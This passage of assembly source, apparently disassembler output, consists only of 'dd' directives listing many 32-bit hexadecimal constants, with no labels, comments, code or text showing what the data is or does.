		dd 951ED847h, 8A72DED0h, 52E12725h, 0E9CB1318h,	4FBCB89Fh
		dd 0AD4F7BDBh, 0A0688266h, 82DCD95Dh, 256F2916h, 0C5F3A05Dh
		dd 4C4B0B4Fh, 4A60D9B8h, 0C4116CBFh, 0EEE9250Bh, 60115463h
		dd 242642Ch, 0AEB25E60h, 20EA309h, 0E00AEB81h, 44F7F3AAh
		dd 22A4017Bh, 4EE91AF2h, 5946AD98h, 40F469B0h, 80CEA554h
		dd 65440DBCh, 2A7201E9h, 0F617B0E0h, 26B2C328h,	0EF373634h
		dd 0FA6D7DA1h, 9A73204h, 0C3B4EF43h, 0A8D132E9h, 1156E263h
		dd 1F5F0569h, 13BE6184h, 0F4592956h, 539DCEA0h,	0CC82DC4h
		dd 9B12197Bh, 5B04D10Fh, 99A5E747h, 3030FB49h, 95681DC9h
		dd 38C6803Fh, 294E907Ah, 4CE9CE0Dh, 0A12A3319h,	96E02A53h
		dd 0D3CED002h, 50685600h, 5E25E630h, 220158B1h,	89A2B5D7h
		dd 6D625201h, 6E661CE4h, 0B094CE6h, 914C5509h, 829C02F4h
		dd 5BC9E51Dh, 1EB5728Eh, 8C705552h, 0E34D3EE8h,	0A54A60Bh
		dd 1FAEE013h, 9710EE50h, 9981694h, 9A6BA30Bh, 99A08F06h
		dd 86885264h, 7727D599h, 8415A32h, 0C9BF008Bh, 44AD3D59h
		dd 0B5A66E1Ah, 4C22F89h, 31593060h, 94F9BBCh, 6823C015h
		dd 4CC0ECBBh, 0D920715Dh, 0A3398912h, 74D44804h, 8B754D09h
		dd 3197027Ch, 0ED4D4061h, 1BF23CB1h, 277A29ACh,	6413B522h
		dd 25BF64F9h, 0D5080929h, 3B93624Ch, 3EAC28B4h,	75849574h
		dd 78FBF15Ch, 7568C300h, 0BF312F5Fh, 0B1CB9968h, 4A48E1E0h
		dd 22E9B083h, 0C071927Fh, 3238AFDEh, 0DB5CF77Ch, 11B1348Dh
		dd 4FB52FEh, 133362B5h,	56B1EE01h, 0DB477EF7h, 5AAB72D2h
		dd 495B78F8h, 5E25ACB7h, 0F4C9CED1h, 0E41425B6h, 1867549Fh
		dd 683E06A0h, 0AD2CDD26h, 69BD16C3h, 68F5F83Dh,	81EDA7ACh
		dd 88A42B31h, 0FC82D32Dh, 33F009DFh, 7940DF92h,	0F1825EEh
		dd 0D70C6BEAh, 225D2C5Eh, 87F58918h, 4D81C57h, 0F471D4BAh
		dd 66C4FE31h, 41A89C52h, 1CE0996h, 0F7EB9E76h, 3B5C8891h
		dd 2F3264E6h, 51F65ADBh, 98CB42C6h, 9A79058h, 4CB34896h
		dd 33934F09h, 3E05801Ch, 574E55CBh, 20071D88h, 68B240D4h
		dd 807F37A2h, 8E254568h, 0BAC1D62Bh, 620B9350h,	70FCE924h
		dd 116497EEh, 680C2C42h, 0DBBF5045h, 2B221A4Eh,	8A44FF5Ch
		dd 7A29DE22h, 75598112h, 0C1A2E7BCh, 707D3A4Ah,	97BD2AA1h
		dd 5BDD2D95h, 0C072B0Bh, 0BB120E3Fh, 904506D9h,	8B660EEBh
		dd 0B72DBAD3h, 78169D39h, 475BD3E7h, 4268FE01h,	0FA8759A1h
		dd 0E31169Dh, 0D097E4E9h, 0A70E1938h, 0D37D117Fh, 69A18EAh
		dd 425FBF24h, 29C99AC7h, 0C25FDE6Fh, 66D5FF76h,	0ECC9F3B4h
		dd 35D412A5h, 632B0B9h,	90DBF65Ah, 13009872h, 4A3CE9D8h
		dd 6FA525Bh, 541A79CFh,	6885D354h, 0C631E32Fh, 35AF091Dh
		dd 0BCC85D29h, 0B9805362h, 1457795Bh, 0A6E1D163h, 5C508820h
		dd 0FE4EF060h, 0E081B6A9h, 0F83D1671h, 0DB9F1F75h, 0F740A59Fh
		dd 2A5B9417h, 6A68AE00h, 24E9462Bh, 0C2EE86E1h,	0D709F4CFh
		dd 0CB0D79E8h, 6E4A9DECh, 350006ECh, 0FFB192Bh,	550B2D40h
		dd 0F8C4C67Dh, 5BC8A0A4h, 59342745h, 0F6DE7839h, 6DEE7155h
		dd 0E7A67E08h, 2AAF5410h, 0C30420B8h, 18796858h, 154E4F91h
		dd 7279A4ADh, 0AB655660h, 0B2249809h, 2A9C3Eh, 6801C283h
		dd 189D5BB1h, 2D4F1356h, 16232A30h, 5C1F34EBh, 0E7DFF331h
		dd 0FCCDBDE6h, 2F66A32Bh, 0DFD112DAh, 0B9805FC5h, 166A13E3h
		dd 96630E9h, 24ECF2Dh, 0A3F0964Bh, 0B3CC140Fh, 247DA134h
		dd 2F18F11h, 6D77E9FEh,	0C0455671h, 2D53B6B0h, 0C9E08FB7h
		dd 0E73B80C7h, 50DF9F20h, 88AFB343h, 7FEC7CDCh,	0CF75C58h
		dd 0A3EF5517h, 0D49219D0h, 0C86F214Ch, 0ED4E5AD5h, 0B18584E9h
		dd 0B06D25C0h, 4340D189h, 8E63BF59h, 0CEA5A38Fh, 0FB27C885h
		dd 66AC1A4Dh, 80453BCCh, 5E525195h, 0CAFB5F68h,	0A6BB2F38h
		dd 0CD2908BDh, 160F8D0Ch, 0DCC4D808h, 0A8F3EF80h, 24B2860Ah
		dd 6B209C90h, 37F897D0h, 256079B5h, 799736F7h, 0B10E54E9h
		dd 303A05C6h, 0DC591278h, 0F719EE65h, 0CECC6518h, 90082AA0h
		dd 77A48A49h, 759691F8h, 6B38F7CBh, 3E93FEEEh, 0EEA54F12h
		dd 0DBEAC4DFh, 0CDE91317h, 0A2BB4082h, 46480Ah,	1A88595Ch
		dd 0BDFE6497h, 0E98472E5h, 288AB306h, 3BB33D5Bh, 68D01B8Dh
		dd 0B81B4BC0h, 0BFC4F45Bh, 984945FBh, 0E0C21288h, 3A4C2C56h
		dd 0FDB92E9Bh, 0D253C417h, 0DB3FE445h, 93A4F881h, 83FBB7Dh
		dd 71970C73h, 0D10C7E30h, 0DEEF9E3Dh, 0FC3BF7C3h, 0C8B58858h
		dd 61EDC02Dh, 69D731Ch,	0BEE58F01h, 8810F521h, 84A17EEAh
		dd 98D78A3h, 9A845756h,	485805DEh, 0F6FEC0BEh, 4D275A13h
		dd 3130DD01h, 31184EEAh, 6E0C0FBFh, 60750330h, 2A43E956h
		dd 0AEB4614Fh, 0A2DA5EFDh, 0B5A6D87h, 292CF4F5h, 0B47DBB4Eh
		dd 0C14DB82Ah, 5526C781h, 0C846DFDh, 85071853h,	2BEC0B9Bh
		dd 0F18240E3h, 80D5957Dh, 5253C1FEh, 0CC4AB151h, 5BB3DBE0h
		dd 2F2BEC0Dh, 5AEF814Dh, 1F30F480h, 78A570C6h, 0F2EE75E6h
		dd 69F06528h, 9517C25Ah, 2CD00500h, 3567075Bh, 197F1E36h
		dd 0FB2E1F85h, 9B4ACFD8h
		dd 73B81EAAh, 3281BA6Eh, 1E4E6091h, 5D65A85Eh, 49F7B288h
		dd 0FB3BF592h, 851ED5A4h, 8C027468h, 80FEB6F5h,	3AF8EC38h
		dd 0A7C4BAF4h, 0E57450E9h, 8232F36Fh, 2802BE56h, 0D7202F1h
		dd 6A7D1E5Ch, 0F3080844h, 642DDDA5h, 1CB72A0Eh,	0A8F2D5C4h
		dd 99169EF4h, 0EE2F7FADh, 23179CFCh, 0A7EAAF83h, 0C5268F83h
		dd 0B056DA72h, 0C9A0E933h, 7D765239h, 48A40394h, 95CB3BA5h
		dd 48A4E865h, 815F09A9h, 8632DFC5h, 6474F7A9h, 3E7E042h
		dd 0BBAEFB5h, 5AFB3D6h,	9D0E280Dh, 2DAB728Ah, 2B230EEh
		dd 0E95857BEh, 0ED135AF1h, 8790C454h, 7CC170FCh, 7E43F915h
		dd 0BB3CA2C7h, 1EACECD0h, 0C32A5933h, 12175C5Ah, 79D368A0h
		dd 8229ACBBh, 2D29DF25h, 8E1A82F5h, 827D0BF8h, 7BB20982h
		dd 96C51034h, 0F7DD5C72h, 0E79F8E16h, 715E2597h, 0FD8D71C6h
		dd 25C667E2h, 0E98405F9h, 30BFEA58h, 996855E7h,	3BD3751Fh
		dd 9360ECCAh, 8E877569h, 1748F285h, 23D2F5Eh, 0B231F668h
		dd 693E5E23h, 0E91CDCFEh, 95236516h, 0BE4F1E8Eh, 38920FCBh
		dd 0A8A49744h, 0E4DAC47Bh, 0E8878C12h, 0B492790h, 2DE2404Bh
		dd 0EE495D28h, 59E6C625h, 95FCBCDh, 8DD07190h, 3A10529Dh
		dd 19AB3CA4h, 0C5E0549h, 0DEDEAF37h, 0DF5D1EEEh, 4144FC2h
		dd 132DF005h, 3BCF0207h, 0B0C06C7Bh, 0F1D40E9h,	0C98113D0h
		dd 4E5E199Fh, 3F05E1F0h, 49BEEF21h, 92FC197h, 0E075D321h
		dd 4120454h, 57E91A4Ah,	5D50CC64h, 37631BF2h, 0C9EEB912h
		dd 187A1EDAh, 3A446E85h, 74933827h, 23138B5Ch, 0FDA60B65h
		dd 2CAC27E4h, 0B6B6D84Ah, 8802295Bh, 0D42EBE68h, 0E877792Eh
		dd 1345C10h, 81264C1h, 0A43785F6h, 6845CCC9h, 65659B2Dh
		dd 0C6B882Ch, 4AA8FE17h, 95F27F2Ah, 187A4EC2h, 38A35A4Eh
		dd 68E0D302h, 0B7517FF2h, 2237DB80h, 0E4CD8123h, 13AC0663h
		dd 9701C583h, 6EE86814h, 2AD38019h, 2DE902ACh, 27797825h
		dd 8FBC123Ch, 297B99E7h, 459D6ADDh, 3E6CDC5Bh, 0CD2A025Bh
		dd 0A806494Eh, 507C4580h, 4B710AB8h, 0EFFA6C50h, 22C16881h
		dd 1272C276h, 27566A3Eh, 0A91036D7h, 6392EB5Eh,	7823565Dh
		dd 0F34FF9E9h, 12B02088h, 9C8FE59h, 0F70279Bh, 3238B800h
		dd 5401F93h, 200E1D8Dh,	0DF4F4047h, 0E8E9D951h,	0AAA4ED5Bh
		dd 0A164634Eh, 3E0052E5h, 106E313Bh, 25D91FBAh,	747E6A78h
		dd 0B25EF4Ah, 0BE7523h,	13436816h, 9137DCE3h, 526BD225h
		dd 0A3AE2545h, 2F3B8A88h, 0D0037D8h, 5B276155h,	780A812Dh
		dd 0C7892CAEh, 752C106Bh, 11B4AD4Bh, 0A22BF587h, 219D8DA3h
		dd 899E163Fh, 5B3F08B1h, 62926814h, 0C40A9459h,	5F02FF57h
		dd 0C57FC731h, 0E90730BFh, 509B9ED8h, 0FC9DB209h, 6F8B7110h
		dd 52BB3100h, 30E7A4Ah,	776E381h, 0C045CF8h, 70CB4C03h
		dd 0F0CB87BEh, 52010CF3h, 4EA51C58h, 0ECEA7190h, 58093342h
		dd 20B1E40Ch, 73897A27h, 2CFF26Dh, 9CF73CA9h, 9409543Fh
		dd 6775EC5Bh, 0D4F2BB1Bh, 2B4BF1A6h, 513D8FB2h,	358373A7h
		dd 0D8637C01h, 2290E14h, 0C112C59Bh, 5DF6DB0Dh,	35023526h
		dd 606B8A11h, 9AA9E9C2h, 0BDC1BFF5h, 3A953920h,	18DEBD5Eh
		dd 0BE1432C5h, 38470028h, 5A7A053Ch, 8AF92DBAh,	0D1BCF242h
		dd 4CE3AB8Ch, 499A03B8h, 962D1BBFh, 78B70B40h, 0AEA5C4A5h
		dd 1813A852h, 6601C886h, 0EEC05A0Ch, 2D070605h,	62F8D6F6h
		dd 87756DC8h, 40AB6BBh,	0F3DF801Ch, 31177668h, 70401AE9h
		dd 0B450D2F6h, 0D746F4A6h, 0C120803Fh, 70372BC3h, 0E03F0C3Fh
		dd 0DFE97F1Ah, 0E9CFBA54h, 13BD3770h, 0BBD85D69h, 0D654F0Dh
		dd 3F22BD2Ah, 2B9AEE9h,	0E30B5065h, 5881D2EDh, 0C281B9BFh
		dd 0EA525558h, 0C29FEB50h, 0F699DA37h, 6A299295h, 5BA7648h
		dd 8731734Ch, 1CACF29Eh, 0F5DDDEAh, 8FA53C33h, 0B7532483h
		dd 0B1592BC1h, 0FF71463Bh, 77BE977Eh, 0F6E06412h, 284916B7h
		dd 347606EFh, 0BE00ED10h, 306D2DC2h, 0E0ACEE81h, 0E9120B08h
		dd 0A4A2C692h, 597D5B58h, 6FC70E4Ch, 96EAF613h,	9A9FF7B2h
		dd 53879F9Fh, 5E79F914h, 0BB2E899Dh, 85A5606Bh,	0EB198878h
		dd 919F0482h, 2285DEECh, 0C49AFB53h, 0FA2F0748h, 173DF5D3h
		dd 35C82B47h, 593800BFh, 0EF8157C1h, 12C2EE9Fh,	0D4121CE9h
		dd 9BB8ECEEh, 1729C352h, 2BBB348Bh, 0BB531079h,	0B40FF090h
		dd 6F29334h, 6DF4A512h,	4337C701h, 0F831B915h, 0EDB2292Ah
		dd 964A80C3h, 2957BE2Eh, 86E925DAh, 59975ED0h, 51DBE9AAh
		dd 0D111173Eh, 645D81D8h, 8CC137D5h, 29D3CC49h,	0E5B04B01h
		dd 0B6D8642Ch, 0C68003DFh, 4E6C092h, 63BCEB3h, 0F8B5F0EEh
		dd 0EFCF2066h, 0F439CDFCh, 0E5C08CFEh, 3B070604h, 1243BE9h
		dd 30044F14h, 0F9090586h, 98F17B75h, 1E1EA22Eh,	0EF4AE829h
		dd 0DD9FB8BEh, 1D5F888Ch, 0C5EB4D8h, 0F3D5F864h, 0BFB3050Bh
		dd 516ECB70h, 123D75F2h, 0E118A05Bh, 9E30F641h,	9E4545C6h
		dd 0A742518Eh, 0FE0F2542h, 0FFCD08EAh, 73FF521Dh, 7FE77751h
		dd 8D30A80h, 7A6C670Fh,	83030456h, 9610DA6Ah, 311251E7h
		dd 0EA3C0FCAh, 9AF281C0h, 8D4AB980h, 116A2E91h,	4710B6Bh
		dd 58C30376h, 45AFC568h, 0E818C58Dh, 1EA4C495h,	0E6C412A2h
		dd 4C1BF7D4h, 68410458h, 56823E2Eh, 0AB0C2C01h,	312A6F04h
		dd 58805156h, 4E3E15D7h, 0EA07C470h, 0D42F7741h, 0A957EB86h
		dd 0EFD3D725h, 0C188E528h, 80E6407Fh, 27F0E379h, 0FAA9425Fh
		dd 52D53D82h, 0ED87645Ch, 5A16A704h, 4BC99056h,	0A290B868h
		dd 956A7828h, 0E97053D6h, 0ACEE4AF6h, 0ABCFCBF7h, 0A0B25857h
		dd 4B713B20h, 0AAB13434h, 562D04B3h, 0D3287882h, 14EBCA82h
		dd 1DE5A0Bh, 2B1A0F2Dh,	30DFCB81h, 70957398h, 32159088h
		dd 0D371170Ah, 70FDB160h, 9222413Eh, 0ECC3244h,	72100C8h
		dd 38F9352Bh, 564853F8h, 0A7491032h, 230E053Bh,	54A11A4Ch
		dd 3E07A91Fh, 0A72D89FDh, 0C493EB56h, 0B55568EFh, 0B920A190h
		dd 0BF57010Bh, 7F821E4Ah, 290540BEh, 60E75FFEh,	0CA4A57FDh
		dd 7AB32D77h, 0B6EB84CBh, 91F85BEBh, 2E9B93B1h,	6C610B47h
		dd 248072D4h, 128008A1h, 4FDDF76Fh, 2964C523h, 9202AAABh
		dd 8508F8E5h, 33C05286h, 0F837445Bh, 1856EECAh,	0E4278C8h
		dd 7C2406FFh, 58006232h, 0E9802760h, 81B26435h,	37A1AA64h
		dd 0F94C0F20h, 9D2DB32Eh, 56AECD81h, 0F320267Dh, 12050B78h
		dd 5BC85925h, 85A46F22h, 6A215A1Bh, 4973B190h, 3D701FD5h
		dd 3A3D16D7h, 0A62207AFh, 0EB3F6445h, 7ADBE206h, 51EE073Fh
		dd 60187456h, 9061B6CEh, 0E0F618C1h, 0BE609119h, 0E3D00CC6h
		dd 0E73020CFh, 4F655F18h, 0F8322724h, 19E2B519h, 1B41A61h
		dd 737180B2h, 46AEA42Bh, 6EEFA4FCh, 4B4A45E3h, 0F1F82075h
		dd 0C90166B2h, 683C344Ah, 0BC3C1D93h, 0F81EA5C1h, 0E1002B5Bh
		dd 413EB951h, 0C2464B79h, 697F49C1h, 136B8E2Bh,	7464FA6Dh
		dd 0C0FB62FAh, 34A6FCCBh, 60D1D381h, 0E6EC5823h, 0B06EEC41h
		dd 200CE5ECh, 20665AF1h, 0ED087772h, 0A8B0F7E3h, 919683E9h
		dd 0C2FE81E9h, 230D1468h, 7CB400A6h, 0F607E4C0h, 0B25202D4h
		dd 0FAF9E937h, 2D5420DDh, 7C446838h, 49555B66h,	0DDC64Bh
		dd 0C32A494Fh, 0D7F7177Bh, 54310F4Fh, 9371BB52h, 311114D3h
		dd 0EED001DEh, 0BB93C0F6h, 4EC67D28h, 0DCAD170Dh, 9B93569Ch
		dd 0B3C04869h, 0FB9A9DB4h, 4090B2F0h, 70A5F25Fh, 5DB3B2D6h
		dd 44BF17CCh, 0EF09B381h
		dd 10916206h, 25295848h, 8CB355A3h, 250AB8ACh, 58F2FE5Eh
		dd 0E98040A6h, 0BFABDC8h, 0FEEF8832h, 6570B7Eh,	0F81DA9F1h
		dd 3A3C9CD3h, 90794B4Bh, 0BE2D88F4h, 9D6812A0h,	0F4A2E87Fh
		dd 13D89D50h, 5E927BC0h, 828A7C02h, 0A3B935E0h,	42890FE8h
		dd 7595304Fh, 5420C4A1h, 3533C3Fh, 0C4054001h, 7AA9FCACh
		dd 0D2455E97h, 0D266855Bh, 3E47D7B2h, 6E63D226h, 4609877Dh
		dd 0E07EA16Dh, 60B257C2h, 0B040EEFDh, 5A72014h,	6BD4BF0Eh
		dd 0FB31E59Dh, 49E45699h, 0D4DB7F09h, 53206734h, 3FC6B901h
		dd 0C8294DE0h, 4478CC7Fh, 208C14BFh, 49E66842h,	0CB000C48h
		dd 0C62F954h, 0BD1AA12Ch, 96782D00h, 91F58107h,	2F451717h
		dd 0EEE5C2F7h, 63C38000h, 7F681259h, 0EDCD6371h, 0CC33ECF1h
		dd 46B082C4h, 0D0F32662h, 0FFC4DD5Ah, 0E6387627h, 6DBE2523h
		dd 3CC277D6h, 29C08E8h,	49421EFEh, 600C8277h, 27F809F8h
		dd 0D37AF10Dh, 14FCCB65h, 304AC6E2h, 6420A2E8h,	2633FA58h
		dd 442D0119h, 8CC2FF66h, 0E9CBA2A5h, 84685D16h,	0D782DC38h
		dd 90586C0h, 9D1F9F2Ch,	820D924h, 0E4E2E913h, 0E3078BBDh
		dd 0F06326D6h, 459A7475h, 0D5D02925h, 0C8015C14h, 0E973DA6Eh
		dd 0E56399ABh, 6B1A0D7h, 67BAFA4Ah, 0E8FD9973h,	1760B9B5h
		dd 0FC733426h, 925A7D3Fh, 8743C85Eh, 3DF4EA89h,	89419935h
		dd 5E5DF558h, 0BB64EF2Dh, 0B931AA82h, 0B26A4357h, 21AE8095h
		dd 0B0094CEBh, 0FA12A01Ch, 56CF27Bh, 47429905h,	0E3E9C37Ah
		dd 5E543C12h, 0F9FC8DFBh, 2F947C43h, 25FD5E5Ah,	0E90C38F5h
		dd 0A8A94B79h, 1AF7A1C8h, 0C8AE8355h, 0B85BE4BCh, 5CCBC6BDh
		dd 0BBDBEC85h, 0BF700025h, 5F66E9DAh, 0C2E3B987h, 5F36A068h
		dd 434B7DECh, 6188F822h, 7FEA29FBh, 7EBB43C5h, 102A613h
		dd 0B6CE68B2h, 9ECE8042h, 2634A9DEh, 15371EAAh,	6607F4DDh
		dd 4A7C2D68h, 8072031Ah, 63877EBh, 0BEF32411h, 7606EF3Ah
		dd 49049C13h, 9EE153E9h, 8951F72Bh, 0C778C891h,	0FA132416h
		dd 7C310963h, 0C387C27Eh, 0F2760DFh, 5DC8AFC2h,	7933EE98h
		dd 9C13D32Ch, 7EFC100h,	99231BE9h, 81688475h, 0C950E818h
		dd 0A755CD58h, 30C41CF5h, 0B10AC92Ch, 0D962F653h, 0DC5BDFE2h
		dd 0DAD47ABCh, 18314342h, 7896BE56h, 74F3AEBCh,	76C5680Bh
		dd 0B21C6FC5h, 77D65D23h, 39574B38h, 0E9C5F4ADh, 5AD8A00Ah
		dd 68150505h, 39D43B0Fh, 641071Dh, 5B460B67h, 51017832h
		dd 89E962B1h, 0BAFD3ADBh, 56E8297h, 72CFEB51h, 8D24C18Dh
		dd 39599648h, 7614EF25h, 5A3F6824h, 1D185DC9h, 942EE9D7h
		dd 0F4207E6h, 0F2FD901Ch, 0F7D5CE2h, 5E3CFD41h,	0AC1A9C4Bh
		dd 9E58D940h, 0F67AC2C1h, 0CB39F0C4h, 31A01Eh, 0C2B1116h
		dd 9FE9D329h, 35EC515Fh, 35EBA89Dh, 818F8028h, 48E7E1Dh
		dd 1B88C0AAh, 0BF3435C1h, 10FE0BDFh, 0E404CA8Ch, 0BB01F53Eh
		dd 51F8ABB0h, 2D380A2Dh, 82C325A4h, 50058453h, 305F2DD0h
		dd 0FF6A4B69h, 9F685942h, 0E99BF163h, 6E7F1629h, 29AF135Dh
		dd 68032201h, 48D981E2h, 8030476Dh, 131F43B9h, 8D045D54h
		dd 4D980E59h, 0E76514A9h, 0CD03D06Fh, 30582ADCh, 3362E5B0h
		dd 0E96E6106h, 5D5F787h, 1C80D8B8h, 10CDA853h, 21003956h
		dd 0BF575BDAh, 0EF2CE789h, 96270966h, 0F2D0503Ch, 0D271923Fh
		dd 7FDFABEFh, 87988720h, 0EC330E5Eh, 78A5E06Dh,	5BF985Ah
		dd 65D07B8Dh, 3CAD31h, 5FDB29E7h, 9C233C68h, 540D6096h
		dd 315B4C69h, 82E9C791h, 0E378122Bh, 0F805CA8Fh, 0D8D9E9E2h
		dd 7AB90087h, 0BD753921h, 0C673DE8Ah, 0A74E27FEh, 0FD2CEDA5h
		dd 41740512h, 0FEE7B23Fh, 789D70CAh, 5F2EFA83h,	0CB28FDE0h
		dd 0FB647BF8h, 4AAC050Eh, 14E14586h, 0C6EF00B5h, 7D3F5CAEh
		dd 83402506h, 1AC0083Ah, 432E3437h, 602C8F9Eh, 52561042h
		dd 50972EA5h, 7BF9C01Dh, 1CFA4BEFh, 466CF465h, 0B6D48B84h
		dd 630A8BAFh, 486CE93Bh, 0E0137225h, 0C7690DCh,	515A5747h
		dd 8C8911FDh, 1E77DCA9h, 0C19B1D0h, 56ADE6A9h, 9D92F6EEh
		dd 73F46815h, 0DF3C139Bh, 0C39B70BBh, 0CC092EFDh, 88CB0130h
		dd 0E9060814h, 5B26B5E6h, 2D09A040h, 880A3801h,	414C688Fh
		dd 0BFAA302Eh, 0FB3C21A0h, 0E9F8864Ah, 488F9B8Ah, 0FC073951h
		dd 0D2190E69h, 105F88F3h, 0CF590854h, 271C13E4h, 7E7235F4h
		dd 5CBE8898h, 0D4AF2912h, 91418190h, 0E9C9C745h, 0EE84FB09h
		dd 0B14B3EE6h, 8BFC6A29h, 0B221D1C5h, 7B680B88h, 696FF623h
		dd 0A7FF47FDh, 336CA28Bh, 0DE61663Ah, 0DBFF0E06h, 9565EC1Bh
		dd 0C77F5D89h, 4FE9845Fh, 0C458F5DAh, 1728FD48h, 0AE4D8B5Fh
		dd 0C6040127h, 44C3685Bh, 0D2C0A36Fh, 80F58DA0h, 295AE34h
		dd 775DEB9h, 5082DB28h,	15F9EC88h, 9C4E5D49h, 62C9E92Eh
		dd 75F7B089h, 0BC8A81C2h, 5F31A8E3h, 0D1DCE49Ah, 9FE8CEA2h
		dd 821D22C5h, 7BE23BDh,	75E11DE6h, 0A372F252h, 1259CBFCh
		dd 0ED545369h, 35490B72h, 0EE7E006Eh, 0EC48B016h, 74F10BCAh
		dd 0CC86235Eh, 0C827B11Bh, 54D9C22Ch, 0CA6885D2h, 9E4DF906h
		dd 0B0679D8Bh, 4C159C9Ah, 0C702E0ACh, 318E7C5Ch, 0CE47857h
		dd 548F46F0h, 2A39A31Ch, 0F7027CBFh, 825E799Bh,	2A067301h
		dd 7E42B0C1h, 0AF329710h, 0E8A4BD02h, 0DDFD8702h, 5DEE63C8h
		dd 0AAB7F5A4h, 0E82D5459h, 928EE965h, 0DEBD0784h, 0A243275Fh
		dd 890F8491h, 540DB2D5h, 405A6BFCh, 4A692238h, 6EB560AFh
		dd 17019C52h, 6C57F381h, 0E82A506Bh, 21C302B9h,	72FB808Ch
		dd 0A6B52784h, 81F25A3h, 15B700E4h, 0E6C1CF80h,	301176F7h
		dd 0BA0CF4E7h, 0DCBAB9E9h, 880C719Fh, 801DD55Ch, 76285889h
		dd 59FD3A7Ah, 2F7C6B23h, 1671D54Ah, 0D525A1ACh,	0E9127E9Eh
		dd 3DEF4E55h, 5CF26EAEh, 0B49AA614h, 0A257A381h, 25CFED61h
		dd 0A9EC3E07h, 0BB532B9h, 14F239E9h, 70807A71h,	0C1D05BD5h
		dd 2ADD651Eh, 0BB00A4F3h, 4217CD50h, 0C204814Ah, 0E832AF49h
		dd 0F488B1C4h, 32C5B801h, 593AFCFFh, 0EE1646C4h, 17BB3862h
		dd 0F010BBFEh, 310C6008h, 99691C17h, 0C12B6B51h, 0E960E4F3h
		dd 0B50116CBh, 55528A56h, 68583279h, 0DF7E54BDh, 1E759AFEh
		dd 0BB1E480h, 99B09369h, 2BC67035h, 4B760A11h, 0D05BB85Eh
		dd 706C0CBCh, 626624BCh, 874B1617h, 7F82A460h, 1EECBF80h
		dd 8C15785Ah, 0DD63D91Ah, 7492554Ch, 19582740h,	0E23AC580h
		dd 0EB619333h, 0A868AF08h, 65CF043Eh, 0BFCD3109h, 5CC023CAh
		dd 0A23F092Dh, 0B01DD09Dh, 71D50C94h, 0FF2856CBh, 414A7D98h
		dd 60279791h, 4B7FD527h, 0ABC212F8h, 5ACD7598h,	661EED3h
		dd 213BC4D0h, 378D32Bh,	0B012E95Ch, 0E845BACh, 0E216A9D7h
		dd 0EE42D6DFh, 4011E71Ch, 30361735h, 0E90C2786h, 264A4977h
		dd 0C0AC6EDh, 25FB3EE0h, 852554F0h, 0FB66CBC8h,	0E16301A7h
		dd 68026BC3h, 3E06D9C1h, 2C1E0602h, 796075E3h, 6B10869Dh
		dd 0A0482971h, 0A5028F05h, 35B98079h, 62483B34h, 425C1EB8h
		dd 850C21D8h, 545729Ch,	6EE9EF29h, 2757D1E4h, 0C5CD2B4Fh
		dd 0E1D2B738h, 728E34B9h, 0F62F4F96h, 68665083h, 4810D32Fh
		dd 6006E99Ah, 532C2C8Dh, 28055B5Ah, 13B252E8h, 5F02EA82h
		dd 377E2D5Ah, 5898C278h, 0FC4EDA2h, 0CAE910E7h,	3E939739h
		dd 3F3AE2E9h, 5B510FCCh, 0A24BE82Dh, 6FC557C5h,	47FA18B0h
		dd 64635C38h, 520DFE06h, 770B180Eh, 8A195960h, 8209476h
		dd 44FF5E79h, 0E917038Ch
		dd 500A4B33h, 0A8086CB5h, 65D9EE0Ch, 0F95B4EF8h, 0AD6BC594h
		dd 85C963FDh, 0F5D00BF5h, 862FD59Ch, 62A15EF1h,	0FAC2D021h
		dd 0A25ED625h, 5DA3C2ADh, 22F584Dh, 265930F3h, 4C7DCE31h
		dd 81297E2Dh, 4C13A5Ch,	0B04DB0F9h, 5B434230h, 4B1D59Ch
		dd 142FEA4Eh, 1D44042Fh, 1FBE2C24h, 939F8AD2h, 3B65280Eh
		dd 521F5178h, 409895Dh,	712287E6h, 22F104B2h, 8037FFC2h
		dd 575BF95Fh, 3BB0125Bh, 5708A2EFh, 109DF7CEh, 82D1E7B6h
		dd 21BFBF80h, 8F982D28h, 9EB86640h, 57F497Bh, 9AB8D7C2h
		dd 1D0BBD00h, 0F0BB0E6Ah, 606D7626h, 4EE06C0Ch,	1C32915Eh
		dd 0E2FCA090h, 0EE8AB85Eh, 9F612C7Ch, 0BD6B6AFCh, 0F98C9793h
		dd 0DD05679Fh, 974E6FB6h, 9F2DE5Ch, 0A0A6D3F5h,	2D024F87h
		dd 0A8AC2F8Dh, 94F4ABA5h, 0ECB05A50h, 0A3B174Fh, 827427EAh
		dd 0D0081DC4h, 87B08813h, 68570052h, 1C2846B3h,	0EF32C15Fh
		dd 0C2030604h, 5A8AE1B4h, 0A344973Fh, 141E4C34h, 361F9FB9h
		dd 4D1F78Ch, 81410149h,	0B37A93C9h, 0F45A2063h,	27605781h
		dd 0C0578252h, 24F28D95h, 27A8DFE5h, 8277A109h,	0D15A1394h
		dd 0BC5F1276h, 2FBC4EC7h, 9C3DAEB4h, 0B334A219h, 0E79D2FE9h
		dd 0A202466h, 815F004Ah, 0A91B9CF6h, 0C8FA5678h, 80ACF249h
		dd 132E0B31h, 1468164Eh, 1705F374h, 4D881B7Ch, 300940C5h
		dd 2C58C209h, 46B879Bh,	91FA6645h, 3AE5B3E5h, 153AF447h
		dd 4C665D0Bh, 0D1985C4Bh, 25BE6298h, 676C5AD1h,	0AED6C1F2h
		dd 8F4BA7A8h, 75CF1012h, 2424B2Ch, 47FE408Eh, 0AC014AC4h
		dd 0E9B9B667h, 28BC28AFh, 35736889h, 51EDD30h, 67305581h
		dd 813F40B7h, 2B9CE704h, 81FE433Ch, 83D6427Fh, 7150F31Bh
		dd 0A0CFE61h, 0BCD15D1h, 0E0D01DAFh, 660A2502h,	8BC16035h
		dd 0F58055EFh, 3CB22734h, 6A4A2295h, 805A0067h,	0CBE0EAEBh
		dd 62708EF6h, 581556B7h, 32499768h, 0C96D15DFh,	7E5E7814h
		dd 25BACFC0h, 18C3273Bh, 0FE615AC2h, 12FC3FDDh,	0E66268B1h
		dd 55580846h, 7D30406h,	80AB2946h, 1FD8E952h, 8425ADFh
		dd 400B337Ch, 683FC42h,	0FE9F4CCh, 2100C9A2h, 0D3F75EF3h
		dd 0B5204368h, 3308DC18h, 212F737Ah, 1EEBD0CBh,	657132FEh
		dd 1089E0D6h, 1215535Eh, 8DC4C50Fh, 880030F3h, 7BD56906h
		dd 386537E9h, 0A59741BAh, 4A2FF04Dh, 0E3A36B97h, 0B13AA32Fh
		dd 0C933DEAh, 1413FF12h, 0E91766F6h, 0EFA25360h, 122ACA69h
		dd 2C05A435h, 8C7D9F60h, 335D0243h, 0C74D2F7h, 704C08B9h
